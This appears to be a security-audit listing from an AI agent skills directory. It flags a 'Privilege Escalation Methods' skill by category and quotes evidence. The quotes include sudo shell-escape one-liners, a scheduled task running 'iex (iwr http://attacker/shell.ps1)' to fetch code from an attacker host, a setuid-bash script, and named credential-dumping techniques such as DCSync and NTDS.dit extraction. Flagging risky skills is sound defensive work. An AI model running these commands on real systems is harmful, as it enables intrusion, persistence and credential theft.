The Agent Skills Directory

[PRIVILEGE_ESCALATION]: The skill provides numerous methods to gain administrative or root access on Linux and Windows systems.
Evidence includes instructions for exploiting sudo permissions with binaries like vim, find, and awk (sudo vim -c ':!/bin/bash').
Evidence includes Windows token impersonation techniques using tools like SweetPotato and SharpImpersonation.
Instructions for abusing Active Directory privileges such as SeBackupPrivilege and GPO manipulation to escalate to Domain Administrator.
[COMMAND_EXECUTION]: The skill contains multiple payloads designed to spawn shell processes with elevated privileges.
Examples include using python, perl, and env to bypass shell restrictions (sudo python -c 'import pty;pty.spawn("/bin/bash")').
[PERSISTENCE]: Instructions are provided for maintaining long-term access to a compromised system.
Evidence includes the creation of scheduled tasks for remote execution (schtasks /create ... /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'").
Documentation on creating Kerberos Golden Tickets to maintain persistent access to Active Directory domains.
[REMOTE_CODE_EXECUTION]: The skill demonstrates techniques for downloading and executing scripts directly from external servers.
Evidence includes the use of PowerShell's Invoke-WebRequest piped to Invoke-Expression (iex (iwr ...)).
[CREDENTIALS_UNSAFE]: The skill provides instructions for harvesting and dumping credentials from sensitive system locations.
Evidence includes dumping NTDS.dit via Volume Shadow Copy Service (VSS).
Instructions for using Mimikatz to perform DCSync attacks and extract password hashes from memory.
[DYNAMIC_EXECUTION]: The skill includes patterns for generating and executing scripts at runtime.
Evidence includes writing shell commands to a file and setting executable permissions for later execution (echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh).

Privilege Escalation Methods